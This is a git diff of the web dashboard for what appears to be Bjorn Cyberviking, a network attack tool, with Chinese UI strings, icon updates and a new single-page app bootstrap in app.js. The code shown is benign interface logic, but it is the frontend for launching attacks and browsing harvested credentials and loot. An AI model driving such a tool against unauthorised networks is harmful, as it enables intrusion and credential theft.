"sched.cancelled": "已取消", + "sched.history": "历史", + "sched.historyMsg": "历史日志", + "creds.searchPlaceholder": "搜索服务、用户...", + "creds.uniqueHosts": "唯一主机", + "creds.totalCredentials": "凭据总数", + "console.maxReconnect": "控制台:已达到最大重连次数", + "console.scrollToBottom": "滚动到底部", + "console.manual": "手动", + "console.auto": "自动", + "console.turnOnAuto": "开启自动模式", + "console.turnOnManual": "开启手动模式", + "console.noTarget": "无目标", + "console.noAction": "无操作", + "console.scanStarted": "手动扫描已启动", + "console.scanFailed": "手动扫描失败", + "console.attackStarted": "手动攻击已启动", + "console.attackFailed": "手动攻击失败", + "console.failedToggleMode": "切换模式失败", + "console.reconnectAttempt": "正在重连(第 {{count}} 次尝试)...", + "quick.close": "关闭面板", + "quick.connectingTo": "正在连接 {{ssid}}...", + "quick.connectedTo": "已连接到 {{ssid}}", + "quick.connectionFailed": "连接失败", + "quick.loadKnownFailed": "加载已知网络失败", + "quick.priorityUpdated": "优先级已更新", + "quick.priorityUpdateFailed": "更新优先级失败", + "quick.networkRemoved": "网络已移除", + "quick.importingPotfiles": "正在导入 Potfile...", + "quick.importedCount": "已导入 {{count}} 条凭据", + "quick.btScanFailed": "蓝牙扫描失败", + "quick.btActioning": "正在为 {{name}} 执行 {{action}}...", + "quick.btActionDone": "{{name}} 的 {{action}} 已完成", + "quick.btActionFailed": "{{action}} 失败", + "quick.btForgotten": "已忘记 {{name}}", + "sidebar.close": "关闭侧边栏", + "api.aborted": "已中止", + "api.timeout": "请求超时", + "api.failed": "请求失败", + "router.notFound": "页面未找到:{{path}}", + "router.errorLoading": "加载页面时出错:{{message}}" +} \ No newline at end of file diff --git a/web/images/actions_icon.png b/web/images/actions_icon.png index b29da53..73e714c 100644 Binary files a/web/images/actions_icon.png and b/web/images/actions_icon.png differ diff --git a/web/images/actions_launcher.png b/web/images/actions_launcher.png index 1075ac7..f22b2a6 100644 Binary files a/web/images/actions_launcher.png and b/web/images/actions_launcher.png differ diff --git a/web/images/actions_menu.png b/web/images/actions_menu.png index 7a2dd61..7b2f083 100644 Binary files a/web/images/actions_menu.png and b/web/images/actions_menu.png differ diff --git a/web/images/actions_studio.png b/web/images/actions_studio.png index f474d8f..d67ec1d 100644 Binary files a/web/images/actions_studio.png and b/web/images/actions_studio.png differ diff --git a/web/images/ai.png b/web/images/ai.png index 7e616ba..229728f 100644 Binary files a/web/images/ai.png and b/web/images/ai.png differ diff --git a/web/images/ai_dashboard.png b/web/images/ai_dashboard.png new file mode 100644 index 0000000..2764192 Binary files /dev/null and b/web/images/ai_dashboard.png differ diff --git a/web/images/apple-touch-icon.png b/web/images/apple-touch-icon.png index dcced0d..0ccff08 100644 Binary files a/web/images/apple-touch-icon.png and b/web/images/apple-touch-icon.png differ diff --git a/web/images/attack.png b/web/images/attack.png index 516c287..b85bb2a 100644 Binary files a/web/images/attack.png and b/web/images/attack.png differ diff --git a/web/images/attacks.png b/web/images/attacks.png index df46d4d..3d9bf38 100644 Binary files a/web/images/attacks.png and b/web/images/attacks.png differ diff --git a/web/images/auto.png b/web/images/auto.png new file mode 100644 index 0000000..e9043e9 Binary files /dev/null and b/web/images/auto.png differ diff --git a/web/images/backup_update.png b/web/images/backup_update.png index 6a0235f..96a322c 100644 Binary files a/web/images/backup_update.png and b/web/images/backup_update.png differ diff --git a/web/images/backuprestore.png b/web/images/backuprestore.png index 8acf324..85ddb65 100644 Binary files a/web/images/backuprestore.png and b/web/images/backuprestore.png differ diff --git a/web/images/bjorn_icon.png b/web/images/bjorn_icon.png index e36eab3..8da6450 100644 Binary files a/web/images/bjorn_icon.png and b/web/images/bjorn_icon.png differ diff --git a/web/images/bjornwebicon.png b/web/images/bjornwebicon.png index a9c1a69..6eadf49 100644 Binary files a/web/images/bjornwebicon.png and b/web/images/bjornwebicon.png differ diff --git a/web/images/bluetooth.png b/web/images/bluetooth.png index 2170593..de08942 100644 Binary files a/web/images/bluetooth.png and b/web/images/bluetooth.png differ diff --git a/web/images/boat.png b/web/images/boat.png index b8e7ce5..39da6af 100644 Binary files a/web/images/boat.png and b/web/images/boat.png differ diff --git a/web/images/credentials.png b/web/images/credentials.png index f92d481..b96d113 100644 Binary files a/web/images/credentials.png and b/web/images/credentials.png differ diff --git a/web/images/database.png b/web/images/database.png index 4b90e1c..ccfcdda 100644 Binary files a/web/images/database.png and b/web/images/database.png differ diff --git a/web/images/default_character_icon.png b/web/images/default_character_icon.png index 38ae725..400f8ba 100644 Binary files a/web/images/default_character_icon.png and b/web/images/default_character_icon.png differ diff --git a/web/images/file.png b/web/images/file.png index 24bcd44..de95f6d 100644 Binary files a/web/images/file.png and b/web/images/file.png differ diff --git a/web/images/files_explorer.png b/web/images/files_explorer.png index a009535..e7d343b 100644 Binary files a/web/images/files_explorer.png and b/web/images/files_explorer.png differ diff --git a/web/images/filter_icon.png b/web/images/filter_icon.png index c63399f..6022c2d 100644 Binary files a/web/images/filter_icon.png and b/web/images/filter_icon.png differ diff --git a/web/images/hide.png b/web/images/hide.png index 98496ad..df510c8 100644 Binary files a/web/images/hide.png and b/web/images/hide.png differ diff --git a/web/images/home.png b/web/images/home.png index 289ef30..510855e 100644 Binary files a/web/images/home.png and b/web/images/home.png differ diff --git a/web/images/import_potfiles.png b/web/images/import_potfiles.png index 0b47565..3a5cbeb 100644 Binary files a/web/images/import_potfiles.png and b/web/images/import_potfiles.png differ diff --git a/web/images/index.png b/web/images/index.png index d871009..562fe35 100644 Binary files a/web/images/index.png and b/web/images/index.png differ diff --git a/web/images/less.png b/web/images/less.png index 4a0ebbd..1b4dfa3 100644 Binary files a/web/images/less.png and b/web/images/less.png differ diff --git a/web/images/lighthouse.png b/web/images/lighthouse.png index 8d1404a..fae76df 100644 Binary files a/web/images/lighthouse.png and b/web/images/lighthouse.png differ diff --git a/web/images/lighthouse_bg.png b/web/images/lighthouse_bg.png index 790484d..6b18b04 100644 Binary files a/web/images/lighthouse_bg.png and b/web/images/lighthouse_bg.png differ diff --git a/web/images/loot.png b/web/images/loot.png index f87f760..14996a5 100644 Binary files a/web/images/loot.png and b/web/images/loot.png differ diff --git a/web/images/mainfolder.png b/web/images/mainfolder.png index 77badac..59fc6b2 100644 Binary files a/web/images/mainfolder.png and b/web/images/mainfolder.png differ diff --git a/web/images/manual.png b/web/images/manual.png index 812185a..a25d350 100644 Binary files a/web/images/manual.png and b/web/images/manual.png differ diff --git a/web/images/manual_icon.png b/web/images/manual_icon.png index cf5b417..7d72725 100644 Binary files a/web/images/manual_icon.png and b/web/images/manual_icon.png differ diff --git a/web/images/manual_scanning.png b/web/images/manual_scanning.png index f4bbf2d..aacced2 100644 Binary files a/web/images/manual_scanning.png and b/web/images/manual_scanning.png differ diff --git a/web/images/map_viking.png b/web/images/map_viking.png index da8b857..e13355c 100644 Binary files a/web/images/map_viking.png and b/web/images/map_viking.png differ diff --git a/web/images/menu_icon.png b/web/images/menu_icon.png index 13db268..f1c081c 100644 Binary files a/web/images/menu_icon.png and b/web/images/menu_icon.png differ diff --git a/web/images/netkb.png b/web/images/netkb.png index 129841e..ba50baa 100644 Binary files a/web/images/netkb.png and b/web/images/netkb.png differ diff --git a/web/images/network.png b/web/images/network.png index 7a71b95..a1fbee1 100644 Binary files a/web/images/network.png and b/web/images/network.png differ diff --git a/web/images/notalive.png b/web/images/notalive.png index 2435593..5080b43 100644 Binary files a/web/images/notalive.png and b/web/images/notalive.png differ diff --git a/web/images/off.png b/web/images/off.png index 9a15aae..928689e 100644 Binary files a/web/images/off.png and b/web/images/off.png differ diff --git a/web/images/on.png b/web/images/on.png index 1226fee..d2c0ed5 100644 Binary files a/web/images/on.png and b/web/images/on.png differ diff --git a/web/images/plus.png b/web/images/plus.png index 7ee6e61..e380475 100644 Binary files a/web/images/plus.png and b/web/images/plus.png differ diff --git a/web/images/restore.png b/web/images/restore.png index 82d4b27..5155081 100644 Binary files a/web/images/restore.png and b/web/images/restore.png differ diff --git a/web/images/reveal.png b/web/images/reveal.png index 34c4f67..852325c 100644 Binary files a/web/images/reveal.png and b/web/images/reveal.png differ diff --git a/web/images/save.png b/web/images/save.png index f44b53a..1dac62d 100644 Binary files a/web/images/save.png and b/web/images/save.png differ diff --git a/web/images/scanner.png b/web/images/scanner.png index 828d610..a84e96c 100644 Binary files a/web/images/scanner.png and b/web/images/scanner.png differ diff --git a/web/images/scheduler.png b/web/images/scheduler.png index b1df653..f08fd4a 100644 Binary files a/web/images/scheduler.png and b/web/images/scheduler.png differ diff --git a/web/images/script_icons/HeimdallGuard.png b/web/images/script_icons/HeimdallGuard.png index d2f4a14..644e52a 100644 Binary files a/web/images/script_icons/HeimdallGuard.png and b/web/images/script_icons/HeimdallGuard.png differ diff --git a/web/images/script_icons/arp_spoofer.png b/web/images/script_icons/arp_spoofer.png index 60cabad..55162ac 100644 Binary files a/web/images/script_icons/arp_spoofer.png and b/web/images/script_icons/arp_spoofer.png differ diff --git a/web/images/script_icons/berserker_force.png b/web/images/script_icons/berserker_force.png index e8f452c..875dd6c 100644 Binary files a/web/images/script_icons/berserker_force.png and b/web/images/script_icons/berserker_force.png differ diff --git a/web/images/script_icons/default.png b/web/images/script_icons/default.png index 558dd1a..464c76c 100644 Binary files a/web/images/script_icons/default.png and b/web/images/script_icons/default.png differ diff --git a/web/images/script_icons/dns_pillager.png b/web/images/script_icons/dns_pillager.png index 63c3748..d648308 100644 Binary files a/web/images/script_icons/dns_pillager.png and b/web/images/script_icons/dns_pillager.png differ diff --git a/web/images/script_icons/freya_harvest.png b/web/images/script_icons/freya_harvest.png index 89b9c18..2e297bd 100644 Binary files a/web/images/script_icons/freya_harvest.png and b/web/images/script_icons/freya_harvest.png differ diff --git a/web/images/script_icons/loki_deceiver.png b/web/images/script_icons/loki_deceiver.png index 42b272c..454f6a9 100644 Binary files a/web/images/script_icons/loki_deceiver.png and b/web/images/script_icons/loki_deceiver.png differ diff --git a/web/images/script_icons/odin_eye.png b/web/images/script_icons/odin_eye.png index 03ab2dc..793e6ec 100644 Binary files a/web/images/script_icons/odin_eye.png and b/web/images/script_icons/odin_eye.png differ diff --git a/web/images/script_icons/rune_cracker.png b/web/images/script_icons/rune_cracker.png index cf905a2..21996fd 100644 Binary files a/web/images/script_icons/rune_cracker.png and b/web/images/script_icons/rune_cracker.png differ diff --git a/web/images/script_icons/thor_hammer.png b/web/images/script_icons/thor_hammer.png index a8cb992..2c77fe5 100644 Binary files a/web/images/script_icons/thor_hammer.png and b/web/images/script_icons/thor_hammer.png differ diff --git a/web/images/script_icons/valkyrie_scout.png b/web/images/script_icons/valkyrie_scout.png deleted file mode 100644 index 719271c..0000000 Binary files a/web/images/script_icons/valkyrie_scout.png and /dev/null differ diff --git a/web/images/script_icons/wpasec_potfiles.png b/web/images/script_icons/wpasec_potfiles.png index ea65cc0..c4b71d1 100644 Binary files a/web/images/script_icons/wpasec_potfiles.png and b/web/images/script_icons/wpasec_potfiles.png differ diff --git a/web/images/script_icons/yggdrasil_mapper.png b/web/images/script_icons/yggdrasil_mapper.png index 9513557..5dcf661 100644 Binary files a/web/images/script_icons/yggdrasil_mapper.png and b/web/images/script_icons/yggdrasil_mapper.png differ diff --git a/web/images/settings.png b/web/images/settings.png index f749c3d..58cd827 100644 Binary files a/web/images/settings.png and b/web/images/settings.png differ diff --git a/web/images/static_icon.png b/web/images/static_icon.png index 454dfdf..6382825 100644 Binary files a/web/images/static_icon.png and b/web/images/static_icon.png differ diff --git a/web/images/status_image.png b/web/images/status_image.png index c01534a..a0a2bb2 100644 Binary files a/web/images/status_image.png and b/web/images/status_image.png differ diff --git a/web/images/subfolder.png b/web/images/subfolder.png index 3a9d7e0..a2dbfe5 100644 Binary files a/web/images/subfolder.png and b/web/images/subfolder.png differ diff --git a/web/images/switchmode.png b/web/images/switchmode.png index fb6897c..52b1ce1 100644 Binary files a/web/images/switchmode.png and b/web/images/switchmode.png differ diff --git a/web/images/table_mode.png b/web/images/table_mode.png index 79d0fd4..5178755 100644 Binary files a/web/images/table_mode.png and b/web/images/table_mode.png differ diff --git a/web/images/target.png b/web/images/target.png index 1f02666..a290a88 100644 Binary files a/web/images/target.png and b/web/images/target.png differ diff --git a/web/images/target2.png b/web/images/target2.png index a8c106c..bbf5511 100644 Binary files a/web/images/target2.png and b/web/images/target2.png differ diff --git a/web/images/treasure.png b/web/images/treasure.png index a6adbe0..40035b3 100644 Binary files a/web/images/treasure.png and b/web/images/treasure.png differ diff --git a/web/images/update.png b/web/images/update.png index f826d97..168df37 100644 Binary files a/web/images/update.png and b/web/images/update.png differ diff --git a/web/images/vulnerabilities.png b/web/images/vulnerabilities.png index 0a1c776..91e3c88 100644 Binary files a/web/images/vulnerabilities.png and b/web/images/vulnerabilities.png differ diff --git a/web/images/vulns_icon.png b/web/images/vulns_icon.png index faa35fe..0313b88 100644 Binary files a/web/images/vulns_icon.png and b/web/images/vulns_icon.png differ diff --git a/web/images/web_enum.png b/web/images/web_enum.png index 383705d..8f1f425 100644 Binary files a/web/images/web_enum.png and b/web/images/web_enum.png differ diff --git a/web/images/wifi.png b/web/images/wifi.png index 8441ffe..e8f0d6e 100644 Binary files a/web/images/wifi.png and b/web/images/wifi.png differ diff --git a/web/images/wifi_priority.png b/web/images/wifi_priority.png index 98991b8..d25c413 100644 Binary files a/web/images/wifi_priority.png and b/web/images/wifi_priority.png differ diff --git a/web/images/zombieland.png b/web/images/zombieland.png index 1d6cfe8..d1a0b8d 100644 Binary files a/web/images/zombieland.png and b/web/images/zombieland.png differ diff --git a/web/index.html b/web/index.html index be6d21d..0418141 100644 --- a/web/index.html +++ b/web/index.html @@ -1,895 +1,175 @@ + - - - Bjorn Cyberviking – Dashboard - - - - - - - - - - - - + + + + Bjorn Cyberviking + + + + + + + + + -
                + - -
                -
                -
                -

                Live Ops

                - Last update: — +
                +
                + Bjorn + BJORN +
                + + +
                + + +
                + +
                +
                + +
                + +
                + + +
                + +
                +
                + + Status + +
                +
                Initializing...
                +
                .
                +
                + + Bjorn + +
                +
                + +
                +
                + + +
                +
                +
                + + + + + +
                +
                + + Manual + + + + + +
                + + +
                +
                +
                - -
                + +
                +
                +
                - -
                -
                - - - - - - - - - - - - - - + +
                -
                -
                - Bjorn - LVL 1 -
                + +
                +
                +
                +
                +
                -
                —%
                + +
                -
                - — - - - - - - - - - - - - - -
                -
                + +
                + + +
                +
                +
                + Edit value + +
                -
                - - -
                -
                - Connectivity +
                +
                - -
                -
                - -
                -
                —
                -
                OFF
                +
                + +
                -
                —
                - -
                -
                - -
                -
                —
                -
                OFF
                -
                -
                —
                - -
                -
                - -
                -
                USB Gadget: OFF • Lease: — • Mode: —
                -
                OFF
                -
                - -
                -
                - -
                -
                BT Gadget: OFF • Lease: — • Connected to: —
                -
                OFF
                -
                -
                - - -
                -
                - Internet -
                -
                -
                - - - - -
                -
                NO
                -
                -
                -
                - - -
                -
                -
                Alive hosts
                -
                0 / 0
                +
                -
                -
                Open ports (alive hosts)
                -
                0
                -
                + +
                -
                -
                Known Wi-Fi
                -
                0
                -
                + +
                -
                -
                CPU: 0%
                -
                -
                RAM: 0 / 0
                -
                -
                - -
                -
                Storage
                -
                Used: 0 / 0
                -
                -
                - -
                -
                GPS
                -
                OFF
                -
                —
                -
                - -
                -
                Zombies
                -
                0
                -
                - -
                -
                Credentials
                -
                0
                -
                - -
                -
                Data / Files collected
                -
                0
                -
                - -
                -
                Vulnerabilities
                -
                0
                -
                —
                -
                - -
                -
                Attack scripts
                -
                0
                -
                - -
                -
                System
                -
                OS: —
                -
                Arch: —
                -
                Model: —
                -
                Waveshare E-Ink: —
                -
                - -
                -
                Mode
                -
                —
                -
                - -
                -
                Uptime
                -
                —
                -
                Bjorn age: —
                -
                - -
                -
                File Descriptors
                -
                0 / 0
                -
                -
                -
                -
                - - + + - + + \ No newline at end of file diff --git a/web/js/app.js b/web/js/app.js new file mode 100644 index 0000000..91c1ef2 --- /dev/null +++ b/web/js/app.js @@ -0,0 +1,721 @@ +/** + * app.js — SPA bootstrap. + * Initializes core modules, registers routes, starts the router. + * Wires shell UI: console, quickpanel, actions, settings, launcher, pollers. + */ + +import * as router from './core/router.js'; +import * as i18n from './core/i18n.js'; +import * as theme from './core/theme.js'; +import { api, Poller } from './core/api.js'; +import { $, el, setText, toast } from './core/dom.js'; +import * as consoleSSE from './core/console-sse.js'; +import * as quickpanel from './core/quickpanel.js'; +import * as actions from './core/actions.js'; +import * as settingsConfig from './core/settings-config.js'; + +/* ========================================= + * 1) Initialize core modules + * ========================================= */ + +// Theme: apply saved CSS vars immediately (no flash) +theme.init(); + +// i18n: load translations, then boot UI +i18n.init().then(() => { + bootUI(); +}).catch(err => { + console.error('[App] i18n init failed:', err); + bootUI(); // Boot anyway with fallback keys +}); + +function bootUI() { + // Runtime i18n wrappers for legacy hardcoded dialogs. + if (!window.__bjornDialogsPatched) { + const nativeConfirm = window.confirm.bind(window); + const nativePrompt = window.prompt.bind(window); + window.confirm = (msg) => nativeConfirm(i18n.trLoose(String(msg ?? ''))); + window.prompt = (msg, def = '') => nativePrompt(i18n.trLoose(String(msg ?? '')), def); + window.__bjornDialogsPatched = true; + } + + /* ========================================= + * 2) Register all routes (lazy-loaded) + * ========================================= */ + router.route('/dashboard', () => import('./pages/dashboard.js')); + router.route('/netkb', () => import('./pages/netkb.js')); + router.route('/network', () => import('./pages/network.js')); + router.route('/credentials', () => import('./pages/credentials.js')); + router.route('/vulnerabilities', () => import('./pages/vulnerabilities.js')); + router.route('/attacks', () => import('./pages/attacks.js')); + router.route('/scheduler', () => import('./pages/scheduler.js')); + router.route('/database', () => import('./pages/database.js')); + router.route('/files', () => import('./pages/files.js')); + router.route('/loot', () => import('./pages/loot.js')); + router.route('/actions', () => import('./pages/actions.js')); + router.route('/actions-studio', () => import('./pages/actions-studio.js')); + router.route('/backup', () => import('./pages/backup.js')); + router.route('/web-enum', () => import('./pages/web-enum.js')); + router.route('/zombieland', () => import('./pages/zombieland.js')); + router.route('/ai-dashboard', () => import('./pages/rl-dashboard.js?t=' + Date.now())); + router.route('/bjorn-debug', () => import('./pages/bjorn-debug.js')); + router.route('/bjorn', () => import('./pages/bjorn.js')); + + // 404 fallback + router.setNotFound((container, path) => { + container.appendChild( + el('div', { class: 'not-found' }, [ + el('h2', {}, [i18n.t('common.notFound')]), + el('p', {}, [`${i18n.t('common.notFound')}: ${path}`]), + el('a', { href: '#/dashboard' }, [i18n.t('nav.dashboard')]) + ]) + ); + }); + + /* ========================================= + * 3) Mount language selector in topbar + * ========================================= */ + const langContainer = $('#langSelect'); + if (langContainer) { + i18n.mountLangSelector(langContainer); + } + + /* ========================================= + * 4) Initialize router (reads hash, loads first page) + * ========================================= */ + const appContainer = $('#app'); + router.init(appContainer); + window.addEventListener('i18n:changed', () => { + i18n.updateDOM(document); + router.reloadCurrent?.(); + }); + + /* ========================================= + * 5) Wire up topbar buttons + * ========================================= */ + wireTopbar(); + + /* ========================================= + * 6) Start global pollers (status, character, say) + * ========================================= */ + ensureBjornProgress(); + startGlobalPollers(); + + /* ========================================= + * 7) Wire page launcher overlay + * ========================================= */ + wireLauncher(); + + /* ========================================= + * 8) Initialize shell modules + * ========================================= */ + consoleSSE.init(); + quickpanel.init(); + actions.init(); + + /* ========================================= + * 9) Wire bottombar extras (liveview, footer fit) + * ========================================= */ + wireLiveview(); + setupFooterFit(); + + /* ========================================= + * 10) Wire settings modal + * ========================================= */ + wireSettingsModal(); + + /* ========================================= + * 11) Wire chip editor + * ========================================= */ + wireChipEditor(); + + /* ========================================= + * 12) Global toast bridge + * ========================================= */ + window.toast = (msg, ms = 2600) => toast(msg, ms); + + console.info('[App] Bjorn SPA initialized'); +} + +/* ========================================= + * Global pollers — status bar updates + * OPTIMIZED: Staggered timings to reduce CPU load + * ========================================= */ +function ensureBjornProgress() { + const host = document.querySelector('.status-left .status-text'); + if (!host) return; + + if (document.getElementById('bjornProgress')) return; // déjà là + + const progress = el('div', { + id: 'bjornProgress', + class: 'bjorn-progress', + style: 'display:none;' + }, [ + el('div', { class: 'bjorn-progress-bar' }), + el('span', { class: 'bjorn-progress-text' }) + ]); + + host.appendChild(progress); +} + +function startGlobalPollers() { + // Status (Toutes les 6s) + const statusPoller = new Poller(async () => { + try { + const data = await api.get('/bjorn_status', { timeout: 5000, retries: 0 }); + + const statusEl = $('#bjornStatus'); + const status2El = $('#bjornStatus2'); + + const progressEl = $('#bjornProgress'); + const progressBar = progressEl?.querySelector('.bjorn-progress-bar'); + const progressText = progressEl?.querySelector('.bjorn-progress-text'); + + const imgEl = $('#bjornStatusImage'); + + if (statusEl && data.status) setText(statusEl, data.status); + + if (status2El) { + if (data.status2) { + setText(status2El, data.status2); + status2El.style.display = ''; + } else { + status2El.style.display = 'none'; + } + } + + // 🟢 PROGRESS — show only when actively running (1-100) + if (progressEl) { + const pct = Number(data.progress) || 0; + if (pct > 0) { + progressEl.style.display = ''; + progressBar.style.setProperty('--progress', `${pct}%`); + progressText.textContent = `${pct}%`; + } else { + progressEl.style.display = 'none'; + } + } + + if (imgEl && data.image_path) { + imgEl.src = data.image_path + '?t=' + Date.now(); + } + } catch (e) { } + }, 6000); + + // Character (Toutes les 10s - C'est suffisant pour une icône) + const charPoller = new Poller(async () => { + try { + const imgEl = $('#bjorncharacter'); + if (!imgEl) return; + const res = await fetch('/bjorn_character'); + if (!res.ok) return; + const blob = await res.blob(); + if (imgEl.src && imgEl.src.startsWith('blob:')) URL.revokeObjectURL(imgEl.src); + imgEl.src = URL.createObjectURL(blob); + } catch (e) { } + }, 10000); + + // Say (Toutes les 8s) + const sayPoller = new Poller(async () => { + try { + const data = await api.get('/bjorn_say', { timeout: 5000, retries: 0 }); + const sayEl = $('#bjornSay'); + if (sayEl && data?.text) setText(sayEl, data.text); + } catch (e) { } + }, 8000); + + statusPoller.start(); + charPoller.start(); + sayPoller.start(); +} + +/* ========================================= + * Topbar wiring + * ========================================= */ + +function wireTopbar() { + // Logo -> dashboard + const logo = $('#logoBtn'); + if (logo) { + logo.addEventListener('click', () => router.navigate('/dashboard')); + logo.addEventListener('keydown', (e) => { + if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); router.navigate('/dashboard'); } + }); + } + + // Settings button + const settingsBtn = $('#openSettings'); + if (settingsBtn) { + settingsBtn.addEventListener('click', () => toggleSettings()); + } + + // Launcher button + const launcherBtn = $('#openLauncher'); + if (launcherBtn) { + launcherBtn.addEventListener('click', () => toggleLauncher()); + } +} + +/* ========================================= + * Liveview dropdown (BÉTON EDITION) + * Uses recursive setTimeout to prevent thread stacking + * ========================================= */ + +function wireLiveview() { + const character = $('#bjorncharacter'); + const center = $('.status-center'); + if (!character || !center) return; + + const dropdown = el('div', { class: 'bjorn-dropdown' }, [ + el('img', { id: 'screenImage_Home', src: '/web/screen.png', alt: 'Bjorn', style: 'cursor:pointer;max-width:200px;border-radius:6px' }) + ]); + center.appendChild(dropdown); + + const liveImg = $('#screenImage_Home', dropdown); + let timer = null; + const LIVE_DELAY = 4000; // On passe à 4s pour matcher display.py + + function updateLive() { + if (dropdown.style.display !== 'block') return; // Stop si caché + + const n = new Image(); + n.onload = () => { + liveImg.src = n.src; + // On ne planifie la suivante QUE quand celle-ci est affichée + timer = setTimeout(updateLive, LIVE_DELAY); + }; + n.onerror = () => { + // En cas d'erreur, on attend un peu avant de réessayer + timer = setTimeout(updateLive, LIVE_DELAY * 2); + }; + n.src = '/web/screen.png?t=' + Date.now(); + } + + const show = () => { + dropdown.style.display = 'block'; + if (!timer) updateLive(); + }; + const hide = () => { + dropdown.style.display = 'none'; + clearTimeout(timer); + timer = null; + }; + + // Events + character.addEventListener('mouseenter', show); + character.addEventListener('mouseleave', () => setTimeout(() => { + if (!dropdown.matches(':hover') && !character.matches(':hover')) hide(); + }, 300)); + + character.addEventListener('click', (e) => { + e.stopPropagation(); + dropdown.style.display === 'block' ? hide() : show(); + }); + + document.addEventListener('click', (ev) => { + if (!dropdown.contains(ev.target) && !character.contains(ev.target)) hide(); + }); + + if (liveImg) { + liveImg.addEventListener('click', () => router.navigate('/bjorn')); + } +} + +/* ========================================= + * Footer text fitting (adaptive font size) + * ========================================= */ + +function setupFooterFit() { + function fitTextById(id, opts = {}) { + const el = document.getElementById(id); + if (!el) return; + const box = el.parentElement || el; + const max = opts.max || 12; + const min = opts.min || 7; + let size = max; + el.style.fontSize = size + 'px'; + const maxH = parseFloat(getComputedStyle(el).maxHeight) || Infinity; + + while ((el.scrollWidth > box.clientWidth || el.scrollHeight > maxH) && size > min) { + size--; + el.style.fontSize = size + 'px'; + } + } + + function runFooterFit() { + fitTextById('bjornStatus', { max: 12, min: 7 }); + fitTextById('bjornSay', { max: 12, min: 7 }); + fitTextById('bjornStatus2', { max: 12, min: 7 }); + fitTextById('bjornProgress', { max: 11, min: 7 }); // 🟢 + } + + // Run on load & resize + window.addEventListener('load', runFooterFit); + window.addEventListener('resize', runFooterFit); + + // Observe size/content changes + const left = document.querySelector('.status-left'); + const right = document.querySelector('.status-right'); + const ro = new ResizeObserver(runFooterFit); + if (left) ro.observe(left); + if (right) ro.observe(right); + + ['bjornStatus', 'bjornSay', 'bjornStatus2', 'bjornProgress'].forEach(id => { + const elem = document.getElementById(id); + if (!elem) return; + ro.observe(elem); + new MutationObserver(runFooterFit).observe(elem, { + childList: true, + characterData: true, + subtree: true + }); + }); + + const imgs = [document.getElementById('bjornStatusImage'), document.getElementById('bjorncharacter')]; + imgs.forEach(img => { + if (!img) return; + if (img.complete) runFooterFit(); + else img.addEventListener('load', runFooterFit, { once: true }); + }); + + // Initial run + runFooterFit(); +} + +/* ========================================= + * Page launcher + * ========================================= */ + +const NAV_MODE_KEY = 'bjorn.navMode'; // 'rail' or 'grid' +function getNavMode() { return localStorage.getItem(NAV_MODE_KEY) || 'rail'; } +function setNavMode(mode) { localStorage.setItem(NAV_MODE_KEY, mode); } + +const PAGES = [ + { path: '/dashboard', icon: 'home.png', label: 'nav.dashboard' }, + { path: '/bjorn', icon: 'bjorn_icon.png', label: 'nav.bjorn' }, + { path: '/netkb', icon: 'netkb.png', label: 'nav.netkb' }, + { path: '/network', icon: 'network.png', label: 'nav.network' }, + { path: '/credentials', icon: 'credentials.png', label: 'nav.credentials' }, + { path: '/vulnerabilities', icon: 'vulnerabilities.png', label: 'nav.vulnerabilities' }, + { path: '/attacks', icon: 'attacks.png', label: 'nav.attacks' }, + { path: '/scheduler', icon: 'scheduler.png', label: 'nav.scheduler' }, + { path: '/database', icon: 'database.png', label: 'nav.database' }, + { path: '/files', icon: 'files_explorer.png', label: 'nav.files' }, + { path: '/loot', icon: 'loot.png', label: 'nav.loot' }, + { path: '/actions', icon: 'actions_launcher.png', label: 'nav.actions' }, + { path: '/actions-studio', icon: 'actions_studio.png', label: 'nav.actionsStudio' }, + { path: '/backup', icon: 'backup_update.png', label: 'nav.backup' }, + { path: '/web-enum', icon: 'web_enum.png', label: 'nav.webEnum' }, + { path: '/zombieland', icon: 'zombieland.png', label: 'nav.zombieland' }, + { path: '/ai-dashboard', icon: 'ai_dashboard.png', label: 'nav.ai_dashboard' }, + { path: '/bjorn-debug', icon: 'database.png', label: 'Bjorn Debug' }, +]; + +function wireLauncher() { + const railOverlay = $('#launcher'); + const gridOverlay = $('#navOverlay'); + const navGrid = $('#navGrid'); + if (!railOverlay) return; + + // Build rail launcher + railOverlay.innerHTML = ''; + const scroll = el('div', { class: 'launcher-scroll' }); + for (const page of PAGES) { + const card = el('button', { + class: 'lbtn', + role: 'button', + tabindex: '0', + title: i18n.t(page.label), + onclick: () => { + router.navigate(page.path); + closeLauncher(); + }, + }, [ + el('img', { src: `/web/images/${page.icon}`, alt: '', width: '48', height: '48' }), + el('span', { class: 'lbtn-label', 'data-i18n': page.label }, [i18n.t(page.label)]), + ]); + scroll.appendChild(card); + } + railOverlay.appendChild(scroll); + + // Build grid launcher + if (navGrid) { + navGrid.innerHTML = ''; + for (const page of PAGES) { + const card = el('button', { + class: 'lbtn', + role: 'button', + tabindex: '0', + title: i18n.t(page.label), + onclick: () => { + router.navigate(page.path); + closeNavOverlay(); + }, + }, [ + el('img', { src: `/web/images/${page.icon}`, alt: '', width: '48', height: '48' }), + el('span', { class: 'lbtn-label', 'data-i18n': page.label }, [i18n.t(page.label)]), + ]); + navGrid.appendChild(card); + } + } + + // Close rail on outside click + document.addEventListener('pointerdown', (e) => { + const btn = $('#openLauncher'); + if (!railOverlay.classList.contains('show')) return; + if (railOverlay.contains(e.target)) return; + if (btn && btn.contains(e.target)) return; + closeLauncher(); + }); + + // Close grid overlay on backdrop click + if (gridOverlay) { + gridOverlay.addEventListener('click', (e) => { + if (e.target === gridOverlay) closeNavOverlay(); + }); + } +} + +function toggleLauncher() { + if (getNavMode() === 'grid') { + toggleNavOverlay(); + } else { + const overlay = $('#launcher'); + if (!overlay) return; + const isOpen = overlay.getAttribute('aria-hidden') !== 'false'; + overlay.setAttribute('aria-hidden', String(!isOpen)); + overlay.classList.toggle('show', isOpen); + } +} + +function closeLauncher() { + const overlay = $('#launcher'); + if (!overlay) return; + overlay.setAttribute('aria-hidden', 'true'); + overlay.classList.remove('show'); +} + +function toggleNavOverlay() { + const overlay = $('#navOverlay'); + if (!overlay) return; + const isOpen = overlay.classList.contains('show'); + if (isOpen) { + overlay.classList.remove('show'); + overlay.setAttribute('aria-hidden', 'true'); + } else { + overlay.classList.add('show'); + overlay.setAttribute('aria-hidden', 'false'); + } +} + +function closeNavOverlay() { + const overlay = $('#navOverlay'); + if (!overlay) return; + overlay.classList.remove('show'); + overlay.setAttribute('aria-hidden', 'true'); +} + +/* ========================================= + * Settings modal (tabbed: General, Theme, Config) + * Uses the old-style modal-backdrop + modal 